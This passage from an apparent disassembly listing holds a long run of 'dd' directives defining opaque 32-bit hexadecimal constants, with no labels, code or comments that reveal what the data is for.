0ED9F70D6h, 6D7522Eh, 0AC5D290Bh, 0EB84001Bh dd 1356465Eh, 5F2DE18Eh, 91D70180h, 7017E5D8h, 14900178h dd 3B01B07Dh, 59117A75h, 8E30795Eh, 0AC5B12EBh, 4AB449A2h dd 0C5C1E204h, 340C4420h, 0C520DCA1h, 48603F42h, 501A31A8h dd 5580B4B1h, 163F01FEh dd 0A80C2E8Bh, 3A613020h, 887ED2DDh, 19F4BB1Ch, 909AF8C0h dd 16AC10BDh, 1E83B68h, 0DE6D8974h, 0C0C6631h, 49E026FCh dd 37021E2Dh, 8E9F0F18h, 0A27B0076h, 5F14FA38h, 6226F499h dd 0CC351C05h, 0DC615407h, 7451202Fh, 0A8F4A97Dh, 263FC2C0h dd 1643670h, 93860A8h, 0BE0CAC0h, 524D80D8h, 2317C0ACh dd 3ADF14Bh, 7D878629h, 57E292B4h, 9C0280C2h, 80CCD112h dd 80611621h, 53BB8D62h, 40000A3Fh, 0ADB34617h, 0BB356610h dd 7B01BC08h, 7D2FE16Fh, 0FE362067h, 7782958h, 4A8F82B7h dd 682D2BF0h, 89FD39EFh, 0B66D6060h, 5A02959Ch, 756FFCFh dd 44106833h, 0B36200C8h, 2C10AAEFh, 347D248Fh, 28A5825h dd 213F2550h, 0D8EB1536h, 0A94CE0F3h, 5087DECCh, 3360FCEFh dd 2C2F12h, 0BADC5799h, 0CABD1B11h, 80FBF83Ah, 0AD28743Fh dd 0F037892h, 0DE045238h, 99843716h, 7754301h, 6E5834AFh dd 305AB600h, 0ADCC484Fh, 65A700F7h, 6DBD1206h, 0A60F7F07h dd 20FDF157h, 2E64B011h, 32F500F3h, 0A3E659EBh, 36041F5Dh dd 8537D227h, 0D339BC80h, 0FAED0796h, 0B0F69FA1h, 0FC48F34h dd 5F3D9098h, 9C6581D2h, 8E38F17Ch, 611A888Bh, 0EE1FC021h dd 8CE8806Eh, 78E96C1Bh, 0D0315054h, 567901F5h, 67BE8555h dd 84308617h, 30785B3Dh, 0D428A44Eh, 900CCFFh, 370552B2h dd 5A1D4Bh, 0F5442F68h, 2E8A6D54h, 0BFAD7B00h, 0F26355B3h dd 407400EBh, 0E0CD07F0h, 0BB0308A0h, 0F7BAC395h, 5D3D806Fh dd 0B3FE1C9Ch, 0E98A7EB2h, 0DC2C37h, 3317E03Eh, 2600994Bh dd 7C7E6B9Eh, 3D01F7Ah, 61ABDBF7h, 5AB8BE3Bh, 452E9BEDh dd 803A3C72h, 2F0E4374h, 3B37E281h, 0D4808630h, 0CCCE24E4h dd 0A31DEBE3h, 0F804B4AAh, 0CC9025A0h, 0E10DA861h, 1483024h dd 66FC264Dh, 0ECAB8A3Ah, 0CDB808EAh, 8D004096h, 0D1FC4170h dd 37600D3h, 4E22EC73h, 0C5007F86h, 84B176Eh, 5E9068h dd 0EF679218h, 1D6B7796h, 1CDDD3Eh, 0F0571B6Dh, 7AD85F48h dd 0A2D500EFh, 7C7D662Ch, 4705BCC8h, 0D11CBA05h, 0C00A6383h dd 4843FE85h, 245CCCF3h, 0DC275800h, 16DD7B10h, 9ECDC138h dd 7B8D24h, 70C30BFCh, 77A96456h, 78B11C9Ch, 18BA80A3h dd 0DFA0E61Bh, 0FA30CD00h, 0CA1F08ABh, 0BB6C00B4h, 89507C34h dd 0C507275Bh, 6A28085h, 5F3D05C0h, 0F4282545h, 0B1337480h dd 7600293Fh, 22EEE317h, 18039942h, 501EDF15h, 20B03402h dd 0C4C248h, 6CE69077h, 0BA9AEBh, 0D620E5C7h, 70BC8DF9h dd 43485F0Eh, 429200D5h, 0A0A897EBh, 5C10B2h, 4B1BB17Ah dd 0E2297977h, 89AE8800h, 6685E402h, 450C00F7h, 975E314Eh dd 0F800C72Bh, 6CBB764Ch, 0ECB7205Ch, 621E007Ah, 3CDAE023h dd 54F4964Ah, 0B200A170h, 21E5D0FDh, 522D98h, 1FA92259h dd 4D820770h, 6C56CD13h, 6B44B400h, 0B4A071h, 6051047Eh dd 395A46E1h, 0C0BD9800h, 308A16B0h, 166B080h, 8582F4F9h dd 0E065EB81h, 60009176h, 0EDC17BCBh, 2CACC4E4h, 8070C5B4h dd 0A335ADEEh, 160047FAh, 0DB9FE4DAh, 7DEC40C1h, 511F1C7Bh dd 88881890h, 0EA3B66DAh, 2BE0060h, 0E8EFF75Bh, 30EC006Bh dd 0AD76F164h, 8902B817h, 7F513F12h, 268D4111h, 38808721h dd 0CA6F11Dh, 0E500B946h, 0FF227FAh, 0E9815Ch, 8C623E3Ah dd 0CFDAA76h, 8A067C00h, 49F513CBh, 6463004Dh, 0F2E57E11h dd 0A4120B52h, 0DC003ABBh, 421AF48Ah, 12540755h, 70377FAh dd 81E687B4h, 896B76E9h, 80EE4420h, 0AC2691E8h, 208F003Ch dd 0A5D55C2h, 0B21252C9h, 0F4C26D12h, 0FFDC41C8h, 7F01C4h dd 92CFBBDAh, 0F3E4F07Ch, 4C3D8D7Fh, 0CB840481h, 0F0E0D12Dh dd 7A802E15h, 9EF90293h, 57E08FE3h, 2A00A9CCh, 7CAE9BBBh dd 0AC951Fh, 0AAFB91D4h, 5909756Eh, 0BF207100h, 0D15C0634h dd 0DBB40035h, 8BE3DFE8h, 300701Ch, 978D8F5h, 1E4765h dd 0B7134E25h, 8FF645BCh, 30010F0h, 38D3A17Bh, 2E15B9h dd 4695AFA6h, 9D52F0D1h, 0DDFAAC00h, 318B0AA4h, 0AEE7001Ch dd 0E4BE3E2Ah, 0B6E8E38Fh, 3ADA8E06h, 30098AE8h, 8B407BB4h dd 0B009D9Ah, 0A84A7378h, 2D4DD17h, 0DA5D7DECh, 40C09B06h dd 2D00DC4Ch, 2FA81451h, 1D3B0241h, 40AA4366h, 195279D4h dd 447EEA5Fh, 6EE9E20Eh, 595CA04Dh, 9789A0h, 80CBA5E6h dd 5D1A26F1h, 13CABA00h, 0ABD2A3A4h, 82C33A87h, 0BFAF9h dd 0CA3D40A0h, 0FC8D9977h, 83B1FA03h, 0C39DB7E7h, 891BC1EEh dd 39952430h, 1A0091C0h, 437B0B36h, 0B7006D8Bh, 0A1423DC4h dd 0EC8C90C5h, 17E31871h, 0D8EEE820h, 0B369F300h, 0AC65EF0Ah dd 0E94613E0h, 0ECF88CCFh, 0B6150500h, 0FBC9A727h, 81FF024Eh dd 656743Bh, 67029C70h, 1897E5F6h, 2C786Eh, 0A4B649D8h dd 0EE050FACh, 8260CE00h, 1B506DE8h, 9FD000E0h, 0E64CF16Bh dd 2A024017h, 0DA518B37h, 60B08F4Fh, 9AADA4A9h, 21C0009Eh dd 0F11FE7FFh, 0A55E36DAh, 0CFBF0403h, 0E900A475h, 0DDF4148Eh dd 64789006h, 0E1829CDh, 0E3C093C9h, 51868C81h, 0DF318043h dd 0DF5BAD4h, 83781D94h, 0E872405h, 807FB4B7h, 68F9A313h dd 790C36C6h, 38F01D9Bh, 0C5AC0060h, 0C00BDEBEh, 0DC15D61Eh dd 0F840350h, 8CFF2F1Bh, 3B589Bh, 35FE435Eh, 18A2AEB3h dd 24A09D28h, 1FF8A41Ah, 8D440739h, 9B7DAB70h, 8C14A0B5h dd 77070014h, 0B048459Ah, 93306911h, 234D780Dh, 256406E5h dd 0B89976B9h, 98002D79h, 6A2273A0h, 4BA17F8h, 64555F62h dd 0C480A110h, 79036CD7h, 0A0AB3583h, 2F09259Bh, 0B0DC4400h dd 87004B6Ch, 0D2AA2AAh, 0BA2675h, 0B7CEC994h, 292EEEBBh dd 80B69939h, 358A110Bh, 341A9Dh, 17E93A68h, 0D680BA1Dh dd 19BC3F00h, 2007CFA5h, 61BB0013h, 14F39805h, 0E633DEB4h dd 381836h, 0A55E03F1h, 0A12A9A4Bh, 601D0C29h, 86600578h dd 5C293801h, 0EE9A1751h, 94B061BCh, 3567C469h, 460EB6E8h dd 4024F0D2h, 0C0041AE3h, 85840671h, 8016838Ah, 7C06B3E4h dd 974AC120h, 3FA603F0h, 7863A107h, 7FC7101Ch, 9E808E1Fh dd 0C0C246C4h, 9ACAA148h, 7395F7ECh, 0E82500BEh, 1B93A816h dd 0FCE77B42h, 4C009237h, 1DF38734h, 13C76913h, 0F04A61F4h dd 0C5023FFBh, 0D6FE3A9Dh, 0F35EC08Ah, 22F9003Bh, 3DEF7FAEh dd 0EB09D004h, 80AC2E54h, 0C3727D36h, 0E42C0090h, 679AE6C6h dd 0F2077F2Dh, 9C4CECC1h, 636C802Eh, 0B708C8h, 7A30CE62h dd 648C7227h, 0C12D18C0h, 0EE7F675h, 9FE1CD5Ch, 41004C8Fh dd 2FAD3A3h, 0F519C40Fh, 8C100E1Ah, 5E2144h, 25B1D3F8h dd 0CC40A52Dh, 26AD8200h, 0C38BDA53h, 782000E1h, 0F2BE51E4h dd 38C0A1F6h, 74F99F44h, 0D611C0CDh, 43362518h, 0F08CFB0Eh dd 8689AE77h, 7A209E15h, 0DA253E8Dh, 91B7980h, 3F6178E6h dd 0EF890338h, 8559A3C0h, 775100C9h, 7B9CE971h, 3F0DA574h dd 283708A3h, 80DCE091h, 2F1D3A4h, 221043ACh, 0AD610D45h dd 8838FFD3h, 0A66A848h, 0EFB1008h, 0B2E0D555h, 7033B50Ah dd 0D2A87D07h, 69B0A7FCh, 0C0CA1BF6h, 7766F228h, 9D3E81DFh dd 9EA9BE78h, 7BC053BAh, 2CA30FE1h, 77913h, 3F678AD9h dd 0F0EA2494h, 9E4AE00h, 0F8B94830h, 0E07797h, 5CA4505Fh dd 5A2FBAACh, 2BFF6514h, 7EA8BF04h, 0C4519807h, 32C0990Fh dd 0C0A45964h, 0BF458520h, 81E9A747h, 0C134CB10h, 0E0D117F7h dd 7464A770h, 217C61E1h dd 30CEDF5Dh, 0BE1D0F9Fh, 0CB41ED2Ch, 362D3DE8h, 817000C3h dd 0EC17FD57h, 590F115Fh, 0A602E19Bh, 37911480h, 0B75123CAh dd 0F47E702Fh, 390C71D5h, 49342261h, 6D32000Ch, 0ACDD58F2h dd 1560D66Eh, 5FFB0441h, 621DF852h, 8FB14948h, 60DF7887h dd 704B3295h, 0ACF069CFh, 70B9580Ch, 91030074h, 0D19B1241h dd 59060288h, 29F828FBh, 728B3AF1h, 0E756EA03h, 83C96704h dd 0A9618055h, 8D2E4108h, 0A75700F5h, 3FC7DDF0h, 2A003BC9h dd 60629F52h, 31CB01E9h, 83792C94h, 9CD9800Bh, 111D6175h dd 182104FAh, 156935h, 853854FFh, 46FC032Eh, 0D5F7397Eh dd 0DB50411Dh, 0C4333DC0h, 8AD49Bh, 863689C6h, 464DAFE6h dd 21669000h, 9902193Fh, 0FA812928h, 0C5561F98h, 4092422Eh dd 0C5BC6288h, 6839C79Bh, 0BB3E032Ch, 3FE47E8Dh, 9B0A579h dd 2A38ACB1h, 83B48C0h, 1F54D4E5h, 8381E37Ah, 0D00A2CA5h dd 516424A1h, 0F3490590h, 841D6900h, 0BA1F3AFAh, 29E4C5h dd 0AE7E4431h, 96E69A6Ch, 8A56A51Eh, 50E5714Ah, 5AB89980h dd 0F27639h, 73C6C5E4h, 83BC6034h, 69990861h, 12E02EB9h dd 4A754Ch, 796B75D5h, 0A37190ADh, 14953215h, 380300ACh dd 26167E8Bh, 8A39017Ah, 8D2CFC72h, 2249C504h, 7E7C7314h dd 0EAD38B00h, 53EFE3CBh, 4D0200B6h, 0BC32A58Ch, 92288AACh dd 2A00A86Ah, 6286BA93h, 78E921h, 33A5990Eh, 0E5AE513Bh dd 0FAAC6C01h, 815CC804h, 54FD49E8h, 0C1E81Fh, 69EEA040h dd 0AEFEF94Bh, 177F7900h, 0F454A75Eh, 0C9B20123h, 0BDE194AFh dd 0E0EBD0D6h, 0EB6F218h, 194B40h, 0F95AA4C5h, 0FCC17892h dd 738A4100h, 1E2309Ah, 0E49ACh, 495B4300h, 6FF0F96Ch dd 0CC0C9701h, 0B99BDE48h, 53E1C7C4h, 50E9C55h, 0E3C09492h dd 0F6247DACh, 0C923DA03h, 15AD8CD1h, 98AF4820h, 0F233D500h dd 0D0C3119Fh, 0D4B32500h, 2260175Bh, 0A0D4A80Fh, 0D6DC0BF8h dd 0EA00BA45h, 9055DAE2h, 9DE8AD48h, 62684440h, 9096B802h dd 0FC802044h, 0BB458413h, 0CFB85060h, 541D104Bh, 81AEC8EAh dd 0CCC13359h, 0D9EE0ADh, 548E5F24h, 442D8AC2h, 0DBD30E6Ch dd 0F4809B98h, 0F8EAAAB1h, 0E672C200h, 0BD938232h, 0A551065Dh dd 61A0499Dh, 0E2816902h, 4423BAA4h, 0DDAC2C44h, 0CDF180F0h dd 99D4D8A7h, 4B762E00h, 1E195586h, 95400CDAh, 27499D48h dd 0E1F4E700h, 0E0F6328Ah, 58240170h, 0BF95A703h, 33BAF0DFh dd 80606848h, 0E0372888h, 1332FC7Ah, 1D34B1h, 73E5836h dd 242462F6h, 236E640Ch, 982F1531h, 7B5F79ECh, 37EA0790h dd 0D02C7DE6h, 2071C1B2h, 8678174Ch, 0D10D2Dh, 0EDC8D32Fh dd 127E8935h, 62F30402h, 84F805BAh, 1D61BEC8h, 0BC17F0C1h dd 62FA448Ch, 0E5CEEC00h, 741813FBh, 33BB0037h, 6914F8E0h dd 19F64789h, 4CC49E3Eh, 8D604050h, 88B4F400h, 4375110Fh dd 37A7395Ah, 8055CA1Eh, 0F887040Ch, 580A8FE1h, 0F0BFBC50h dd 0C9C4051Ch, 6480CDEBh, 58FB0C9Dh, 1D874C83h, 741520ADh dd 0C124FA0Bh, 990BDC85h, 228C0201h, 8A60687Ch, 55DC13F0h dd 0AEC70074h, 67169C72h, 0B366A612h, 15505C04h, 58904809h dd 160027E6h, 902DDF9Ah, 4EC8AD1h, 22BE48B7h, 11674009h dd 3B552AA0h, 1C09DABBh, 0BC82EEEAh, 60C2C7FDh, 2A04D846h dd 8A63338Ch, 7931A643h, 11ACA118h, 39BE2029h, 0A08035D3h dd 0ED7A2FE8h, 0C97F9B51h, 0FCCDA600h, 558E5C73h, 0CC30E958h dd 0E89F89AEh, 0E4265ECCh, 0BF03FFDBh, 12908h, 22AFED59h dd 0A3A77FABh, 5EBECA0Bh, 0C5B42040h, 3C8FC46h, 0A6010AD5h dd 3900E4C9h, 42ABDBFh, 262DFB32h, 886515h, 0AC7F8F07h dd 39066654h, 967BD223h, 22BF3A58h, 3864ED10h, 2DFA9395h dd 0BE07A420h, 417E005Ch, 0EC983806h, 24A02F82h, 3101AA55h dd 0A7A372FEh, 99F26AE6h, 4D03618h, 0E5E33912h, 80A4A7A4h dd 80A59ED7h, 0D5E29313h, 0E623Bh, 0DC942961h, 9B6D407h dd 4CD05789h, 7180408Fh, 4A47EF09h, 31872500h, 23E71058h dd 0C51324DAh, 0A9B93034h, 9800FEFh, 7AD01440h, 45229CCBh dd 6123B0A0h, 5A11A165h, 26102CC6h, 1FA83FCCh, 2D340457h dd 0C5189001h, 601E1EDh, 4EC6BD8Ch, 899D5E4h, 0E4404171h dd 352E12E1h, 3432066h, 41C62Dh, 0F2B8D1F8h, 0F9F667AFh dd 0A8A538h, 0C2424181h, 91493ECDh, 1CAB0060h, 0DF838CF1h dd 0A804BD02h, 0C0E19A80h, 0A3EAB6FCh, 2FC5F0A4h, 5A435CB1h dd 7A9D2407h, 1DE14FE1h, 228D2870h, 0A8170060h, 2D6AB78Ah dd 32AD2E42h, 4E098020h, 9D0C9FFAh, 17C4F000h, 0B413EE25h dd 5BD9008Fh, 0C1453CD2h, 9A07AFECh, 0A4576FB6h, 636D1842h dd 1E20BBE1h, 2566808h, 0EC9315B3h, 424C8846h, 96DF00C0h dd 6AB4EFC8h, 84E243h, 0BC9726EBh, 0A7AE7FA5h, 4500F2B0h dd 18DD7A2Bh, 1857A9D8h, 0A9E6AF02h, 821F7C03h, 74400B50h dd 0C40C8132h, 0B856E6E2h, 6A8403E5h, 8B0D825Bh, 7C47BA98h dd 68F4780Fh, 0D8E79F8Ah, 0F9D4F551h, 628C0091h, 0BE410F92h dd 0A260FDAFh, 0D108B330h, 0B9273EF2h, 0BD0F723Ch, 50987D10h dd 0B2306495h, 0EF2D2849h, 0CB18C773h, 4B8A7041h, 4C00CDC5h dd 8CD70B6Ch, 6F453E4h, 1AA8FDA2h, 8F1861B9h, 0E9517785h dd 16200012h, 0D60518B2h, 0A1FE9153h, 73C4AF00h, 2DB9471Bh dd 0BA38C03Dh, 0F531AB79h, 0F81D4E00h, 0EFE83833h, 0B6920122h dd 51B27F0Dh, 0DD3D7080h, 8184113Bh, 33AAE1E9h, 0FCFC2A47h dd 1640ECDh, 7B608E4Ah, 7DB8A039h, 0F243E700h, 0F19E6D2Ch dd 0FD203A44h, 84036B3Fh, 0BAF68AB3h, 0AC74B129h, 0CA78038h dd 0C6FD0FA2h, 0BE3800D1h, 4F6EC3DDh, 0B70F0A01h, 6267EA42h dd 872A4E0Eh, 55076F8h, 1C52E71h, 0FD797519h, 0D80734ABh dd 23074233h, 0D5943B40h, 5E280CEh, 37399CBh, 4CBB438Eh dd 1800340Ah, 44ABE874h, 0E1280E3h, 0FFE00442h, 0AAEFC69Fh dd 110F1059h, 0E0242E10h, 2A097797h, 0CF08C696h, 7101205Bh dd 622430B3h, 31E01935h, 2505068Eh, 10EFADE3h, 0FE36F800h dd 0A3AA2EE7h, 0D9C231D0h, 80EECE08h, 0FE350720h, 1E068755h dd 8FF57810h, 6FC0B549h, 0B9442166h, 6AC933Bh, 0AAE9E79Eh dd 0AEE10059h, 99F3A01Dh, 0C901D37Dh, 9EAB1B49h, 6530E492h dd 0C4111804h, 2B0F69B8h, 0C118ED60h, 0FA93D568h, 0CC7400ABh dd 6B82958Ah, 730F6D26h, 0A0E4940Dh, 2DF96E85h, 4C05E64Bh dd 6068E21Bh, 0DE5D0A8Ch, 9F498080h, 0FA1F4E9Ch, 76E1F525h dd 81381BEEh, 0C5ECE780h, 0F7F87C13h, 0F6106607h, 321B246h dd 0EBEC645Bh, 1EA0CFF4h, 9E18A053h, 0E36901C8h, 0C1D666D5h dd 1309148Ah, 80B563D2h, 92251209h, 4BF50062h, 17C3101Dh dd 4F632DACh, 0E82934E9h, 6C0E2AA6h, 0E3487062h, 490055ECh dd 4E6EE95Eh, 5FDCF6h, 0DD7B8364h, 291A959h, 1C1A9C13h dd 0D9421C04h, 3D830898h, 0FF901D30h, 9FCEC879h, 402F9C10h dd 50D7B690h, 30089C5h, 0C9E7E635h, 39DB7C12h, 0AD9707A2h dd 2E030325h, 687BA7C8h, 4867E843h, 228FB523h, 0EA20D834h dd 2CBD2F1Ch, 0EE5E32h, 0E6F03697h, 0A201242Ch, 72652A2Bh dd 4420DACBh, 0D0C20391h, 0F50834AAh, 5EE5401Dh, 83E82EC0h dd 0C09F91D6h, 0A2737D78h, 0AB2CEFF0h, 22143010h, 9AB300B4h dd 3BBE2DE5h, 9C5148C6h, 0A855939h, 39BC1F1Bh, 5CB5CC20h dd 42CE486h, 0AC4EF290h dd 5898902Fh, 690072E3h, 8A3C67C7h, 0E5D9D3h, 80791A86h dd 6DB77B6Ch, 4C085B24h, 0C1CD9E80h, 2BC2D28h, 0E2ADD9E6h dd 8CA0D07Ch, 0B7E9714Bh, 6737C61Eh, 51802464h, 0F66D1D5Ah dd 0F18301B0h, 0C72C31A0h, 328080E7h, 61C87934h, 0D35B0062h dd 8FABEED5h, 0E493F605h, 66FE8B01h, 3C0EE22Eh, 50FE0E6Ah dd 8B30C09Bh, 0C4A8790h, 86E34801h, 0C430E089h, 218A51AFh dd 5F7EE08h, 73C2E536h, 16885418h, 900B6114h, 90256480h dd 4306BD1Ch, 4884ACFFh, 7425EF08h, 0F90B530h, 6313A508h dd 58301B69h, 2F393081h, 0E0244842h, 2E131Eh, 5C2839A3h dd 0D1925198h, 9028687Fh, 0D904B870h, 2BB158B3h, 99342520h dd 0B77CF303h, 4120F85h, 47C35CA9h, 5E2C81B1h, 541B604Dh dd 0D7538C05h, 0BC2323C9h, 0A0B94C75h, 4BD27602h, 14417162h dd 7E74F840h, 0AC447498h, 0FECD0A91h, 85B47B3Fh, 40075D58h dd 1AE4DFA8h, 51783ED3h, 2224EE01h, 0C69BB930h, 925896h dd 0A8E212F9h, 4C995DB7h, 2CEF1883h, 18F6827Ch, 58C0A8E4h dd 96EC617Ah, 50AE0029h, 37BF0F6Eh, 3C93C54Ah, 891A670Ch dd 0D37A06h, 0D03A56B3h, 8A85B237h, 20F10524h, 1BFE1AC0h dd 5A18FB21h, 1EB0440h, 484DFF08h, 2A92550Eh, 0A2C56EC2h dd 0A091C4D4h, 762E1B80h, 2DCE00F4h, 126AAB32h, 0E6143A01h dd 0A04CCAh, 7548F57h, 0F4A9981h, 0D53F2EF4h, 8A001408h dd 0C528B7C8h, 0C02232DAh, 8CA0E3C8h, 0A785DEBEh, 25EE3C00h dd 0F6A840F0h, 0F92C0074h, 0C6641DC5h, 9F2437D4h, 0FF933055h dd 26235C2Fh, 2E46CA00h, 2E9F902h, 6FCCD874h, 0C485F0Ch dd 0E4008211h, 0EE254CC5h, 78C68EFh, 9C12D06Ch, 0E2C9D0D2h dd 2C07AC2Eh, 33A2CAB2h, 0A044B682h, 4DD78AA4h, 9A71DE1h dd 2A140135h, 8F71109Eh, 0CF59BD92h, 6DC220F8h, 0D3B61Bh dd 0AB548447h, 0B4E7B8D7h, 5E0EC704h, 74C060DAh, 0FCFE55CAh dd 357E845h, 0DF99EC9Bh, 15F86AD9h, 0FF307D28h, 68E04081h dd 6C5600BEh, 99DCC81Bh, 0D1B0F361h, 7A00867Ah, 0CC2F539Ah dd 480EE7E8h, 1CC7F00Ah, 5BBD7290h, 0EB105E31h, 0B000904Bh dd 1C30B6A7h, 7F8EDFh, 15806268h, 9EAE6E89h, 0AC713F16h dd 0EF352404h, 0F12F1F30h, 77435FF6h, 0EC60D922h, 0C4050F54h dd 0D7F53B65h, 205971BBh, 55225AECh, 976310FBh, 2008FD5Ch dd 863E7880h, 6E3089A0h, 482AA226h, 3E5CC93Fh, 80EBA8E6h dd 0B889D724h, 3409B880h, 5C2F2667h, 73220C08h, 0C6B4E603h dd 0E9CA7Ah, 0A580E0E0h, 7C061205h, 17C7343Ch, 0A800C323h dd 1F2F85E8h, 1705F431h, 7F9ABE0h, 0F358FF6Ah, 18A6366Fh dd 12DAC60Ch, 4D5C5028h, 187B0C0Fh, 0F05F2650h, 9701CC1Bh dd 0B29C68BCh, 30240E20h, 8690D10h, 87E85D47h, 0C002636Eh dd 73D10417h, 88402722h, 32CE789h, 0B235AD09h, 410AF240h dd 84EC2EA4h, 0C104E094h, 0E87E82Ah, 6ABEAC8h, 2B6680BCh dd 1928D876h, 1D1FB8F0h, 2AC3FFACh, 0A1A4D7B0h, 68248F38h dd 314067D0h, 6DCF42B6h, 9CB37DE0h, 2E113F01h, 0F32D31B0h dd 2A5B43ECh, 18288712h, 19F1AAC2h, 2C2A36E0h, 0BD0CC03Dh dd 0A9426205h, 29A3E820h, 36059ACh, 4C887477h, 862CA802h dd 0BDE573h, 0A460F910h, 0F9058D0h, 800B6F66h, 19999FAEh dd 0CB13F677h, 0C82FA79h, 7CAF856Fh, 6484BDAAh, 0B81CC86Ch dd 39D0BC0Ch, 29421823h, 1E84CD2Ah, 46AC4C80h, 0D8050340h dd 0C627737Ch, 0B7A14804h, 2A33E83Ch, 0F85649C1h, 0D6E1715Bh dd 7E640038h, 9BAC5807h, 0EEBA1D06h, 1812959h, 3877BCE8h dd 0BDDA0820h, 96C70030h, 0FBE92D0Bh, 50EE50D9h, 25D13016h dd 872FC739h, 74ECB71Eh, 0CC4DD6CAh, 9950C981h, 109D42AFh dd 0C82880BFh, 1582D539h, 61BC8C52h, 9880E322h, 3B7A5F8h dd 645D19EAh, 56C038C1h, 63309CD0h, 9A1711A2h, 0AB151F27h dd 87100DEh, 9468AFD5h, 113069D4h, 7E00DAC4h, 4577F69Bh dd 3F553BB9h, 0F0FC00A0h, 6330296Bh, 0C47589E2h, 0C149185Bh dd 245D1036h, 6C02589Ah, 0F4BA440Ch, 0E2BC40FBh, 0A075FE62h dd 0EB09684h, 386EADDEh, 0B830929Ch, 9B840145h, 4F92295Fh dd 40357195h, 0C148ADF0h, 5F8C611h, 3B0247C8h, 0A208E725h dd 412C719Ch, 2761C410h, 83E3C851h, 517F7C62h, 50205465h dd 0BC985001h, 0A5848A36h, 2D908165h, 0B840806Eh, 0AD244B53h dd 73620C22h, 2CB0ABB9h, 0C166309h, 810A9F5h, 76040CA9h dd 7844C023h, 6D8E20E1h, 232B80F2h, 4E47125h, 38602F70h dd 21231DFEh, 444081Ah, 0FE1F0501h, 1DD43EC1h, 4901240Fh dd 0EAA480E8h, 53EBA0E8h, 0CFAC8500h, 11FA9B5Fh, 84C500F3h dd 1D168CEDh, 3B2668BDh, 916ACCCh, 2423542Fh, 93518900h dd 1DE847C5h, 81BB6EDAh, 8FD51CADh, 4AC040AAh, 0F1289974h dd 0DB099017h, 82768250h, 72095594h, 12A46D0h, 2112FE37h dd 0E80CAC02h, 1E06F9C0h, 0EEB27CFEh, 0F25F0050h, 0C6752386h dd 130560B7h, 0FF3CB174h, 241A3804h, 0F31D918h, 0EC944455h dd 6700CF33h, 0DDFADB9h, 0EC4215C2h, 7AF30074h, 7CFDE0B3h dd 14593E7Bh, 71072224h, 2DEF00F0h, 0AFACFED2h, 3B0A180Ah dd 0F8DB8193h, 89A8E204h, 0F20270A3h, 107C8AECh, 1B20001Ch dd 0BAB874EFh, 8C0136B9h, 80511342h, 2C65A2A3h, 40B31040h dd 1061614Eh, 0F8532E2Ah, 41007EDEh, 0AA723865h, 0A9415A4h dd 0CBBAA859h, 0F04F00EBh, 0C53F90B4h, 9F4B6900h, 6DAF0DB6h dd 0E04E00F7h, 523496C3h, 40002239h, 13A258D1h, 0ABC180h dd 69D2BA98h, 0FAFD9DB8h, 492CC2Bh, 23B99570h, 0F1639D33h dd 3989E0BFh, 8E0F8BEh, 0C722B8B6h, 70F1CBFh, 14FAFF08h dd 67311C17h, 8FBF09A0h, 15627038h, 0DAF87020h, 706CA63Eh dd 7B75210Ch, 0D93CD163h, 44EE5009h, 54C2318h, 78CC6974h dd 50B319BFh, 0D87F1C92h, 85871071h, 0B45059F9h, 60211809h dd 844EB97h, 5BF0460h, 80F0CA96h, 0C90B1944h, 2809A309h dd 0FB391701h, 89595E1h, 0A0700C09h, 6366E414h, 0F0159114h dd 409B18E2h, 80502CC5h, 0D1A13700h, 5CDE2970h, 2B4C2438h dd 1702011h, 0B0BF464Ah, 0E173B774h, 2109B44Bh, 0D8FC043Ah dd 1085C331h, 0B022E6E4h, 763F5E04h, 6928C0CBh, 0EB032118h dd 176AEC48h, 0C74103B8h, 2F77E03h, 247166D9h, 1519D260h dd 86380EFBh, 7C90698Dh, 6012F059h, 0D7C849C0h, 0FEA0C93h dd 0F9859B37h, 5DDD9222h, 5AE29500h, 2C0B3728h, 0BC080011h dd 872C0AE6h, 0FA18E632h, 3093E369h, 0AC480D74h, 1C00A555h dd 1D73F9D3h, 0C0B83CF2h, 0D7BF1508h, 0A40C88A2h, 0A0C6F3B0h dd 3CFE307Ah, 583D41A9h, 43087B63h, 4E80BFEFh, 0D9E49168h dd 0A44648C1h, 0DB0B3451h, 0A40D872Bh, 8BEDCEB0h, 0D8FF0E7Ah dd 28607122h, 9B0CF0BEh, 7EFD8000h, 8DBBD769h, 0E7E89851h dd 0CCB9D981h, 0C6E4DA33h, 0F0EB8C81h, 0E800DFD8h, 0B49AD914h dd 3099AC92h, 53899B1Fh, 5B78E2D5h, 0F60C7A00h, 38464EFFh dd 187B7167h, 28972C1Fh, 9814F779h, 286065F4h, 800088CAh dd 0B0BA0314h, 0E7394Fh, 0B4274D0Bh, 0F4969435h, 0E131856Ch dd 4608C19Ah, 0E2F8BABEh, 0DECAD040h, 579D6700h, 19C32A3h dd 66693EC4h, 0C6214830h, 7A0698B8h, 4FB9CE39h, 40831DA0h dd 4A3D4A68h, 41D309ACh, 811CF805h, 0F0DCED3Ah, 98A08F40h dd 667A6E6Bh, 2B38B348h dd 10B0A87Ah, 78DF6996h, 30E309EAh, 6023CB40h, 0C1017D90h dd 0FCF0A780h, 0B84A59AFh, 0C8EE8C10h, 24DD84FDh, 463200C7h dd 0E0691E18h, 79770045h, 51A214E9h, 0E001F396h, 7E0CC0EBh dd 7980AFFEh, 28732BE2h, 0B00085B4h, 4ADA5196h, 39EED3Bh dd 68B8FA66h, 0B48043FBh, 0E030E27Fh, 182DC87Dh, 6E95004Dh dd 493D5371h, 0CFB09701h, 7BFEA080h, 8070B9C0h, 0CABEF3C9h dd 16B8C010h, 15AC4207h, 948334C7h, 910EDD39h, 824B8BB3h dd 4A48616Eh, 6DD802F8h, 0A1874367h, 8C4A44E1h, 55EA4070h dd 0E641F57Dh, 0C71A0C23h, 1C823162h, 18404AB0h, 30931458h dd 4B59C986h, 852CA028h, 7D603C73h, 81404C50h, 4363C166h dd 0F1103D60h, 6E00B32Ch, 0E2903B4Bh, 240070A3h, 43158F62h dd 69761D87h, 8C984094h, 53066DCDh, 9E908C29h, 4D1D3119h dd 10B38329h, 99BA6DE5h, 0E2150458h, 9488817Ch, 0BE585033h dd 9C6490EFh, 8C60A890h, 0E9B85BB0h, 992D5100h, 0E689900Ch dd 806E6EE5h, 7C4EBEE3h, 0FD82B006h, 4860D596h, 4F0F8C74h dd 1DFD91FAh, 3B8F1F7Dh, 0B9E279E0h, 0E3377130h, 0F3D77120h dd 0F1E00299h, 0BFEA1097h, 0A87AB0A1h, 5C903439h, 0B09B602Ah dd 0ADB3CD07h, 0F860C8F0h, 0F31E5h, 0D9E8E2AAh, 948213F5h dd 0C7EDC24h, 0F8CEB15h, 869AB3Dh, 8775437Dh, 9149ACE0h dd 0FA88254h, 1E78524Ch, 8177D89Bh, 